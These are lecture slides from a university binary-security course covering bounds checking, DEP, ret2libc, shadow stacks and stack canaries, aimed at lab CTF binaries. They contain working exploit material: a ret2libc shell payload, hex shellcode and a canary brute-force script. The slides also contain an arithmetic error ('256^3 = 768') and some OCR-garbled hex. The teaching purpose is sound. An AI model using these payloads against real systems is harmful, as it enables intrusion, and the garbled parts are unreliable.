

# System Security - Attack and Defense for Binaries

---

CS 4390/5390, Spring 2026

Instructor: MD Armanuzzaman (*Arman*)

# This Class

1. Stack-based buffer overflow
  - a. Direct Defense
  - b. Indirect Defense
    - i. DEP
    - ii. Shadow stack
    - iii. Stack canary
    - iv. ASLR
    - v. Seccomp

# Defenses overview

- Prevent buffer overflow
  - A direct defense
  - Could be accurate but could be slow
  - Good in theory, but not practical in real world
- Make exploit harder
  - An indirect defense
  - Could be inaccurate but could be fast
  - Simple in theory, widely deployed in real world

# Examples

- Base and bound check
  - Prevent buffer overflow!
  - A direct defense
- Stack Canary/Cookie
  - An indirect defense
  - Prevent overwriting return address
- Data execution prevention (DEP, NX, etc.)
  - An indirect defense
  - Prevent using of shellcode on stack

# Spatial Memory Safety – Base and Bound check

- `char *a`
  - `char *a_base;`
  - `char *a_bound;`
- `a = (char*)malloc(512)`
  - `a_base = a;`
  - `a_bound = a+512`
- Access must be between `[a_base, a_bound)`
  - `a[0], a[1], a[2], ..., and a[511]` are OK
  - `a[512]` NOT OK
  - `a[-1]` NOT OK

# Spatial Memory Safety – Base and Bound check

## Propagation

- `char *b = a;`
  - `b_base = a_base;`
  - `b_bound = a_bound;`
- `char *c = &b[2];`
  - `c_base = b_base;`
  - `c_bound = b_bound;`

# Overhead - Based and Bound

+2x overhead on storing a pointer

- `char *a`
  - `char *a_base;`
  - `char *a_bound;`

+2x overhead on assignment

- `char *b = a;`
  - `b_base = a_base;`
  - `b_bound = a_bound;`

+2 comparisons added on access

- `C[i]`
  - `if(c+i >= c_base)`
  - `if(c+i < c_bound)`

# SoftBound: Highly Compatible and Complete Spatial Memory Safety for C

Santosh Nagarakatte   Jianzhou Zhao   Milo M. K. Martin   Steve Zdancewic

Computer and Information Sciences Department, University of Pennsylvania

santoshn@cis.upenn.edu   jianzhou@cis.upenn.edu   milom@cis.upenn.edu   stevez@cis.upenn.edu

## Abstract

The serious bugs and security vulnerabilities facilitated by C/C++'s lack of bounds checking are well known, yet C and C++ remain in widespread use. Unfortunately, C's arbitrary pointer arithmetic,

dress on the stack, address space randomization, non-executable stack), vulnerabilities persist. For one example, in November 2008 Adobe released a security update that fixed several serious buffer overflows [2]. Attackers have reportedly exploited these buffer-  
*overflow vulnerabilities by using banner ads on websites to radi*

PLDI 09

# HardBound: Architectural Support for Spatial Safety of the C Programming Language

Joe Devietti \*

University of Washington  
devietti@cs.washington.edu

Colin Blundell

University of Pennsylvania  
blundell@cis.upenn.edu

Milo M. K. Martin


University of Pennsylvania  
milom@cis.upenn.edu

Steve Zdancewic

University of Pennsylvania  
stevez@cis.upenn.edu

## Abstract

The C programming language is at least as well known for its absence of spatial memory safety guarantees (*i.e.*, lack of bounds checking) as it is for its high performance. C's unchecked pointer arithmetic and array indexing allow simple programming mistakes to lead to erroneous executions, silent data corruption, and security vulnerabilities. Many prior proposals have tackled enforcing spatial safety in C programs by checking pointer and array accesses. However, existing software-only proposals have significant drawbacks that may prevent wide adoption, including: unacceptably high runtime overheads, lack of completeness, incompatible pointer representations, or need for non-trivial changes to existing C source code and compiler infrastructure.



# Defense 1: Data Execution Prevention (DEP, W⊕X, NX)

# Conditions we depend on to pull off the attack of returning to shellcode on stack

1. The ability to put the shellcode onto stack (env, command line)
2. The stack is executable
3. The ability to overwrite RET addr on stack before instruction ret is executed or to overwrite Saved EBP
4. Know the address of the destination function

# Conditions we depend on to pull off the attack of returning to shellcode on stack

1. The ability to put the shellcode onto stack (env, command line)
2. ~~The stack is executable~~
3. The ability to overwrite RET addr on stack before instruction ret is executed or to overwrite Saved EBP
4. Know the address of the destination function

# Harvard vs. Von-Neumann Architecture

## Harvard Architecture

The Harvard architecture stores machine instructions and data in separate memory units that are connected by different busses. In this case, there are at least two memory address spaces to work with, so there is a memory register for machine instructions and another memory register for data. Computers designed with the Harvard architecture are able to run a program and access data independently, and therefore simultaneously. Harvard architecture has a strict separation between data and code. Thus, Harvard architecture is more complicated but separate pipelines remove the bottleneck that Von Neumann creates.

## Von-Neumann architecture

In a Von-Neumann architecture, the same memory and bus are used to store both data and instructions that run the program. Since you cannot access program memory and data memory simultaneously, the Von Neumann architecture is susceptible to bottlenecks and system performance is affected.

# Harvard vs. Von-Neumann Architecture

Older CPUs: Read permission on a page implies execution. So all readable memory was executable.

AMD64 – introduced NX bit (No-eXecute in 2003)

Windows Supporting DEP from Windows XP SP2 (in 2004)

Linux Supporting NX since 2.6.8 (in 2004)

gcc parameter **-z execstack** to disable this protection

```
ctf@bufferoverflow_overflow6_32:/$ readelf -l bufferoverflow_overflow6_32

Elf file type is DYN (Shared object file)
Entry point 0x10b0
There are 12 program headers, starting at offset 52

Program Headers:
Type          Offset      VirtAddr     PhysAddr     FileSiz MemSiz Flg Align
PHDR          0x000034 0x00000034 0x00000034 0x00180 0x00180 R 0x4
INTERP        0x0001b4 0x000001b4 0x000001b4 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD          0x0000000 0x000000000 0x000000000 0x00418 0x00418 R 0x1000
LOAD          0x001000 0x00001000 0x00001000 0x00304 0x00304 R E 0x1000
LOAD          0x002000 0x00002000 0x00002000 0x001bc 0x001bc R 0x1000
LOAD          0x002ed4 0x00003ed4 0x00003ed4 0x00134 0x00138 RW 0x1000
DYNAMIC       0x002edc 0x00003edc 0x00003edc 0x000f8 0x000f8 RW 0x4
NOTE          0x0001c8 0x000001c8 0x000001c8 0x00060 0x00060 R 0x4
GNU_PROPERTY  0x0001ec 0x000001ec 0x000001ec 0x0001c 0x0001c R 0x4
GNU_EH_FRAME  0x002018 0x00002018 0x00002018 0x0005c 0x0005c R 0x4
GNU_STACK    0x0000000 0x000000000 0x000000000 0x00000 0x00000 RWE 0x10
GNU_RELRO    0x002ed4 0x000003ed4 0x000003ed4 0x00012c 0x00012c R 0x1
```

```
ctf@bufferoverflow_overflow6_nx_32:/$ readelf -l bufferoverflow_overflow6_nx_32

Elf file type is DYN (Shared object file)
Entry point 0x10b0
There are 12 program headers, starting at offset 52

Program Headers:
Type          Offset      VirtAddr     PhysAddr     FileSiz MemSiz Flg Align
PHDR          0x000034 0x00000034 0x00000034 0x00180 0x00180 R 0x4
INTERP        0x0001b4 0x000001b4 0x000001b4 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD          0x0000000 0x000000000 0x000000000 0x00418 0x00418 R 0x1000
LOAD          0x001000 0x00001000 0x00001000 0x00304 0x00304 R E 0x1000
LOAD          0x002000 0x00002000 0x00002000 0x001bc 0x001bc R 0x1000
LOAD          0x002ed4 0x00003ed4 0x00003ed4 0x00134 0x00138 RW 0x1000
DYNAMIC       0x002edc 0x00003edc 0x00003edc 0x000f8 0x000f8 RW 0x4
NOTE          0x0001c8 0x000001c8 0x000001c8 0x00060 0x00060 R 0x4
GNU_PROPERTY  0x0001ec 0x000001ec 0x000001ec 0x0001c 0x0001c R 0x4
GNU_EH_FRAME  0x002018 0x00002018 0x00002018 0x0005c 0x0005c R 0x4
GNU_STACK    0x0000000 0x000000000 0x000000000 0x00000 0x00000 RW 0x10
GNU_RELRO    0x002ed4 0x000003ed4 0x000003ed4 0x00012c 0x00012c R 0x1
```

# What DEP cannot prevent

Can still corrupt stack or function pointers or critical data on the heap

As long as RET (saved EIP) points into legit code section, W $\oplus$ X protection **will not** block control transfer

# **Ret2libc 32bit**

# **Bypassing DEP**

Discovered by Solar Designer, 1997

# Ret2libc

Now programs built with non-executable stack.

Then, how to run a shell? Ret to C library `system("/bin/sh")` like how we called `printsecret()` in `overflowret`

The `system()` function is used to invoke an operating system command from a C/C++ program. **For example**, we can call `system("dir")` on Windows and `system("ls")` in a Unix-like environment to list the contents of a directory.

It is a standard library function defined in `<stdlib.h>` header in C and `<cstdlib>` in C++.

## Syntax

The syntax of `system()` function is:

```
int system(const char *command);
```

## Parameters

- **command**: A pointer to a null-terminated string that contains the command we want to execute.

## Return Value

- It returns 0 if the command is successfully executed.
- It returns a non-zero value if command execution is not completed.

## Buffer Overflow Example: overflowret4\_no\_excstack\_32

```
int vulfoo()
{
    char buf[30];
    gets(buf);
    return 0;
}

int main(int argc, char *argv[])
{
    vulfoo();
    printf("I pity the fool!\n");
}
```

## Buffer Overflow Example: overflowret4\_no\_excstack\_32

```
(python2 -c "print 'A'*52 + Addr1 + 'AAAA' + Addr2" ; cat) |  
./bufferoverflow_overflowret4_no_excstack_32
```

1. Addr1 is the address of system() function.
2. Addr2 is the address of a string “/bin/sh”.

Get a user CTF shell. **We will need Return-oriented programming to get a root shell.**

We can also do system("cat /flag"). What padding to use in the string?

# Conditions we depend on to pull off the attack of returning to shellcode on stack

1. ~~The ability to put the shellcode onto stack (env, command line)~~
2. ~~The stack is executable~~
3. The ability to overwrite RET addr on stack before instruction ret is executed or to overwrite Saved EBP
4. Know the address of the destination function

# Control Hijacking Attacks

## Control flow

- Order in which individual statements, instructions or function calls of a program are executed or evaluated

## Control Hijacking Attacks (Runtime exploit)

- A control hijacking attack exploits a program error, particularly a memory corruption vulnerability, at application runtime to subvert the intended control-flow of a program.
- Alter a code pointer (i.e., value that influences program counter) or, Gain control of the instruction pointer %eip
- Change memory region that should not be accessed

# Code Injection Attacks

## Code-injection Attacks

- a subclass of control hijacking attacks that subverts the intended control-flow of a program to previously injected malicious code

## Shellcode

- code supplied by attacker – often saved in buffer being overflowed – traditionally transferred control to a shell (user command-line interpreter)
- machine code – specific to processor and OS – traditionally needed good assembly language skills to create – more recently have automated sites/tools

# Code-Reuse Attack

Code-Reuse Attack: a subclass of control-flow attacks that subverts the intended control-flow of a program to invoke an unintended execution path inside the original program code.

- Return-to-LIBC Attacks (Ret2LIBC)
- Return-Oriented Programming (ROP)
- Jump-Oriented Programming (JOP)

# Attacker's Goal

Take control of the victim's machine

- Hijack the execution flow of a running program
- Execute arbitrary code

Requirements

- Inject attack code or attack parameters
- Abuse vulnerability and modify memory such that control flow is redirected

Change of control flow

- *alter a code pointer* (RET, function pointer, etc.)
- change memory region that should not be accessed

# Overflow Types

Overflow some *code pointer*

- Overflow memory region on the stack
  - overflow function return address
  - overflow function frame (base) pointer
  - overflow longjmp buffer
- Overflow (dynamically allocated) memory region on the heap
- Overflow function pointers
  - stack, heap, BSS

# Other pointers?

Can we exploit other pointers as well?

1. Memory that is used in a value to influence mathematical operations, conditional jumps.
2. Memory that is used as a read pointer (or offset), allowing us to force the program to access arbitrary memory.
3. Memory that is used as a write pointer (or offset), allowing us to force the program to overwrite arbitrary memory.
4. Memory that is used as a code pointer (or offset), allowing us to redirect program execution!


Typically, you use one or more vulnerabilities to achieve multiple of these effects.

# **Defense-2: Shadow Stack**

# Shadow Stack


## Traditional shadow stack

%gs:108




## Main stack

0x8000000



## Parallel shadow stack

0x9000000



# Traditional Shadow Stack

```
SUB $4, %gs:108    # Decrement SSP  
MOV %gs:108, %eax # Copy SSP into EAX  
MOV (%esp), %ecx  # Copy ret. address into  
MOV %ecx, (%eax)  #           shadow stack via ECX
```

**Figure 2:** Prologue for traditional shadow stack.

```
MOV %gs:108, %ecx # Copy SSP into ECX  
ADD $4, %gs:108    # Increment SSP  
MOV (%ecx), %edx  # Copy ret. address from  
MOV %edx, (%esp)  #           shadow stack via EDX  
RET
```

**Figure 3:** Epilogue for traditional shadow stack (overwriting).

# Traditional Shadow Stack

```
MOV %gs:108, %ecx
ADD $4, %gs:108
MOV (%ecx), %edx
CMP %edx, (%esp) # Instead of overwriting,
JNZ abort          #      we compare
RET
abort:
    HLT
```

**Figure 4:** Epilogue for traditional shadow stack (checking).

# Overhead - Traditional Shadow Stack

If no attack:

6 more instructions

2 memory moves

1 memory compare


1 conditional jmp

Per function

# Shadow Stack


## Traditional shadow stack

%gs:108




## Main stack

0x8000000



## Parallel shadow stack

0x9000000



# Parallel Shadow Stack

```
POP 999996(%esp) # Copy ret addr to shadow stack  
SUB $4, %esp # Fix up stack pointer (undo POP)
```

**Figure 7: Prologue for parallel shadow stack.**

```
ADD $4, %esp # Fix up stack pointer  
PUSH 999996(%esp) # Copy from shadow stack
```

**Figure 8: Epilogue for parallel shadow stack.**

# Overhead Comparison

The overhead is roughly 10% for a traditional shadow stack.

The parallel shadow stack overhead is 3.5%.

# **Defense-3: Stack Cookie; Stack Canary**

*specific to sequential stack overflow*

## StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks

### Abstract:

This paper presents a systematic solution to the persistent problem of buffer overflow attacks. Buffer overflow attacks gained notoriety in 1988 as part of the Morris Worm incident on the Internet. While it is fairly simple to fix individual buffer overflow vulnerabilities, buffer overflow attacks continue to this day. Hundreds of attacks have been discovered, and while most of the obvious vulnerabilities have now been patched, more sophisticated buffer overflow attacks continue to emerge.

We describe StackGuard: a simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties. Privileged programs that are recompiled with the StackGuard compiler extension no longer yield control to the attacker, but rather enter a fail-safe state. These programs require *no* source code changes at all, and are binary-compatible with existing operating systems and libraries. We describe the compiler technique (a simple patch to gcc), as well as a set of variations on the technique that trade-off between penetration resistance and performance. We present experimental results of both the penetration resistance and the performance impact of this technique.

# StackGuard

A compiler technique that attempts to eliminate buffer overflow vulnerabilities

- No source code changes
- Patch for the function prologue and epilogue
  - Prologue: push an additional value into the stack (canary)
  - Epilogue: check the canary value hasn't changed. If changed, exit.

# Buffer Overflow Example: overflowret4

```
int vulfoo()
{
    char buf[30];
    gets(buf);
    return 0;
}

int main(int argc, char *argv[])
{
    vulfoo();
    printf("I pity the fool!\n");
}
```

# With and without Canary 32bit

## overflowret4\_cookie\_32

### overflowret4\_32

```
000011ed <vulfoo>:  
11ed: f3 of 1e fb    endbr32  
11f1: 55             push ebp  
11f2: 89 e5           mov ebp,esp  
11f4: 83 ec 38       sub esp,0x38  
11f7: 83 ec 0c       sub esp,0xc  
11fa: 8d 45 do lea eax,[ebp-0x30]  
11fd: 50             push eax  
11fe: e8 fc ff ff ff call 11ff  
<vulfoo+0x12>  
1203: 83 c4 10       add esp,0x10  
1206: b8 00 00 00 00 00 mov eax,0x0  
120b: c9             leave  
120c: c3             ret
```


```
0000120d <vulfoo>:  
120d: f3 of 1e fb      endbr32  
1211: 55               push ebp  
1212: 89 e5             mov ebp,esp  
1214: 53               push ebx  
1215: 83 ec 34           sub esp,0x34  
1218: e8 81 00 00 00 00  call 129e <__x86.get_pc_thunk.ax>  
121d: 05 b3 2d 00 00     add eax,0x2db3  
1222: 65 8b od 14 00 00 00  mov ecx,DWORD PTR gs:0x14  
1229: 89 4d f4           mov DWORD PTR [ebp-0xc],ecx  
122c: 31 c9             xor ecx,ecx  
122e: 83 ec 0c           sub esp,0xc  
1231: 8d 55 cc           lea edx,[ebp-0x34]  
1234: 52               push edx  
1235: 89 c3             mov ebx,eax  
1237: e8 54 fe ff ff     call 1090 <gets@plt>  
123c: 83 c4 10           add esp,0x10  
123f: b8 00 00 00 00     mov eax,0x0  
1244: 8b 4d f4           mov ecx,DWORD PTR [ebp-0xc]  
1247: 65 33 od 14 00 00 00  xor ecx,DWORD PTR gs:0x14  
124e: 74 05             je 1255 <vulfoo+0x48>  
1250: e8 db 00 00 00 00 00  call 1330 <__stack_chk_fail_local>  
1255: 8b 5d fc           mov ebx,DWORD PTR [ebp-0x4]  
1258: c9               leave  
1259: c3               ret
```

# Registers on x86 and amd64


ZMM0	YMM0	XMM0	ZMM1	YMM1	XMM1	ST(0)	MM0	ST(1)	MM1	AH	AX	EAX	RAX	R8B	R8W	R8D	R8	R12B	R12W	R12D	R12	MSW	CR0	CR4			
ZMM2	YMM2	XMM2	ZMM3	YMM3	XMM3	ST(2)	MM2	ST(3)	MM3	BL	BH	BX	EBX	RBX	R9B	R9W	R9D	R9	R13B	R13W	R13D	R13	CR1	CR5			
ZMM4	YMM4	XMM4	ZMM5	YMM5	XMM5	ST(4)	MM4	ST(5)	MM5	CL	CH	CX	ECX	RCX	R10B	R10W	R10D	R10	R14B	R14W	R14D	R14	CR2	CR6			
ZMM6	YMM6	XMM6	ZMM7	YMM7	XMM7	ST(6)	MM6	ST(7)	MM7	DL	DH	DX	EDX	RDX	R11B	R11W	R11D	R11	R15B	R15W	R15D	R15	CR3	CR7			
ZMM8	YMM8	XMM8	ZMM9	YMM9	XMM9					BPL	BP	EBP	RBP		DIL	DI	EDI	RDI		IP	EIP	RIP	MXCSR	CR8			
ZMM10	YMM10	XMM10	ZMM11	YMM11	XMM11	CW	FP_IP	FP_DP	FP_CS	SIL	SI	ESI	RSI	SPL	SP	ESP	RSP					CR9					
ZMM12	YMM12	XMM12	ZMM13	YMM13	XMM13	SW																CR10					
ZMM14	YMM14	XMM14	ZMM15	YMM15	XMM15	TW																CR11					
ZMM16	ZMM17	ZMM18	ZMM19	ZMM20	ZMM21	ZMM22	ZMM23	FP_DS														CR12					
ZMM24	ZMM25	ZMM26	ZMM27	ZMM28	ZMM29	ZMM30	ZMM31	FP_OPC	FP_DP	FP_IP	CS	SS	DS	GDTR	IDTR	DR0	DR6	DR1	DR7	DR2	DR8	DR3	DR9	DR4	DR10	DR12	DR14
											ES	FS	GS	TR	LDTR	DR1	DR7	DR1	DR7	DR2	DR8	DR3	DR9	DR4	DR10	DR12	DR14
											FLAGS	EFLAGS	RFLAGS			DR5	DR11	DR13	DR15								

# With and without Canary

*overflowret4\_32*



*overflowret4\_cookie\_32*



# With and without Canary 64bit

## overflowret4\_64

```
0000000000001169 <vulfoo>:  
1169: f3 of 1e fa endbr64  
116d: 55 push rbp  
116e: 48 89 e5 mov rbp,rsp  
1171: 48 83 ec 30 sub rsp,0x30  
1175: 48 8d 45 do lea rax,[rbp-0x30]  
1179: 48 89 c7 mov rdi,rax  
117c: b8 00 00 00 00 mov eax,ox0  
1181: e8 ea fe ff ff call 1070 <gets@plt>  
1186: b8 00 00 00 00 mov eax,ox0  
118b: c9 leave  
118c: c3 ret
```

## overflowret4\_cookie\_64

```
000000000000401176 <vulfoo>:  
401176: f3 of 1e fa endbr64  
40117a: 55 push rbp  
40117b: 48 89 e5 mov rbp,rsp  
40117e: 48 83 ec 30 sub rsp,0x30  
401182: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28  
401189: 00 00  
40118b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax  
40118f: 31 c0 xor eax,eax  
401191: 48 8d 45 do lea rax,[rbp-0x30]  
401195: 48 89 c7 mov rdi,rax  
401198: b8 00 00 00 00 mov eax,ox0  
40119d: e8 de fe ff ff call 401080 <gets@plt>  
4011a2: b8 00 00 00 00 mov eax,ox0  
4011a7: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]  
4011ab: 64 48 33 14 25 28 00 xor rdx,QWORD PTR fs:0x28  
4011b2: 00 00  
4011b4: 74 05 je 4011bb <vulfoo+0x45>  
4011b6: e8 b5 fe ff ff call 401070 <__stack_chk_fail@plt>  
4011bb: c9 leave  
4011bc: c3 re
```

# Overhead - Canary

If no attack:

? more instructions

? memory moves

1 memory compare

1 conditional jmp

Per function

## %gs:0x14, %fs:0x28

A random canary is generated at program initialization, and stored in a global variable (pointed by gs, fs).

Applications on x86-64 uses FS or GS to access per thread context including Thread Local Storage (TLS).

Thread-local storage (TLS) is a computer programming method that uses static or global memory local to a thread.

Pwngdb command tls to get the address of tls

Data Structure

[https://code.woboq.org/userspace/glibc/sysdeps/x86\\_64/nptl/tls.h.html](https://code.woboq.org/userspace/glibc/sysdeps/x86_64/nptl/tls.h.html)

# Canary Types

- **Random Canary** – The original concept for canary values took a pseudo random value generated when program is loaded
- **Random XOR Canary** – The random canary concept was extended in StackGuard version 2 to provide slightly more protection by performing a XOR operation on the random canary value with the stored control data.
- **Null Canary** – The canary value is set to 0x00000000 which is chosen based upon the fact that most string functions terminate on a null value and should not be able to overwrite the return address if the buffer must contain nulls before it can reach the saved address.
- **Terminator Canary** – The canary value is set to a combination of Null, CR, LF, and 0xFF. These values act as string terminators in most string functions, and accounts for functions which do not simply terminate on nulls such as `gets()`.

# Terminator Canary


0x000aff0d

\x00: terminates strcpy

\x0a: terminates gets (LF)

\xff: Form feed

\xd: Carriage return



```
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifndef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif

/* Initialize libpthread if linked in. */
if (__pthread_initialize_minimal != NULL)
    __pthread_initialize_minimal ();

/* Set up the pointer guard value. */
uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
                                                       stack_chk_guard);
#ifndef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#else
__pointer_chk_guard_local = pointer_chk_guard;
#endif

#endif /* !SHARED */
```

<https://elixir.bootlin.com/glibc/glibc-2.38/source/csu/libc-start.c#L288>

# Evolution of Canary

StackGuard published at the 1998 USENIX Security. StackGuard was introduced as a set of patches to the GCC 2.7.

From 2001 to 2005, IBM developed ProPolice. It places buffers after local pointers in the stack frame. This helped avoid the corruption of pointers, preventing access to arbitrary memory locations.


In 2012, Google engineers implemented the `-fstack-protector-strong` flag to strike a better balance between security and performance. This flag protects more kinds of vulnerable functions than `-fstack-protector` does, but not every function, providing better performance than `-fstack-protector-all`. It is available in GCC since version 4.9.

Most packages in Ubuntu are compiled with `-fstack-protector` since 6.10. Every Arch Linux package is compiled with `-fstack-protector` since 2011. All Arch Linux packages built since 4 May 2014 use `-fstack-protector-strong`.


# ProPolice

```
int foo() {  
    int a;  
    int *b;  
    char c[10];  
    char d[3];  
  
    b = &a;  
    strcpy(c,get_c());  
    *b = 5;  
    strcpy(d,get_d());  
    return *b;  
}
```

*Default Layout*



*ProPolice*



# Bypass Canary

*-fstack-protector*

# Bypass Canary

1. Read the canary from the stack due to some information leakage vulnerabilities, e.g. format string
2. Brute force. 32-bit version. Least significant byte is 0, so there are  $256^3$  combinations = 16,777,216

If it takes 1 second to guess once, it will take at most 194 days to guess the canary

## Bypass Canary - Apps using fork()

1. Canary is generated when the process is created
2. A child process will not generate a new canary
3. So, we do not need to guess 3 bytes canary at the same time. Instead, we guess one byte a time. At most  $256^3 = 768$  trials.

# bypasscanary

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>


char g_buffer[200] = {0};
int g_read = 0;

int vulfoo()
{
    char buf[40];
    FILE *fp;
    while (1)
    {
        fp = fopen("/tmp/exploit", "r");
        if (fp)
            break;
        usleep(500 * 1000);
        g_read = 0;
        memset(g_buffer, 0, 200);
        g_read = fread(g_buffer, 1, 70, fp);
        printf("Child reads %d bytes. Guessed canary is %x.\n",
               g_read, *((int*)(&g_buffer[40])));
        memcpy(buf, g_buffer, g_read);
    }
}
```

```
fclose(fp);
remove("/tmp/exploit");
return 0;
}

int main(int argc, char *argv[])
{
    while(1)
    {
        printf("\n");
        if (fork() == 0)
        {
            //child
            printf("Child pid: %d\n", getpid());
            vulfoo();
            printf("I pity the fool!\n");
            exit(0);
        }
        else
        {
            //parent
            int status;
            printf("Parent pid: %d\n", getpid());
            waitpid(-1, &status, 0);
        }
    }
}
```

bc



Canary: 0x?????00

# Demo

1. To make things easier, we put the shellcode in env variable.
2. Write a script to guess the canary byte by byte.
3. Send the full exploit to the program

```
export SCODE=$(python2 -c "print '\x90'* sled size +
'\x6a\x67\x68\x2f\x66\x6c\x61\x31\xco\xbo\x05\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x89
\xc1\x31\xco\xbo\x64\x89\xc6\x31\xco\xbo\xbb\x31\xdb\xb3\x01\x31\xd2\xcd\x80\x31\
\xco\xbo\x01\x31\xdb\xcd\x80' ")
```

# Example

```
#!/usr/bin/python2

import os.path
import time
import struct
from os import path

def main():
    for c1 in range(0, 255):
        while path.exists("exploit"):
            time.sleep(1)
            f = open('exploit', 'w')

            f.write(b'A'*40 + struct.pack("B", c1))
            f.close()
if __name__ == "__main__":
    main()
```

# In-class Exercise: **re\_3\_32 and re\_4\_64**

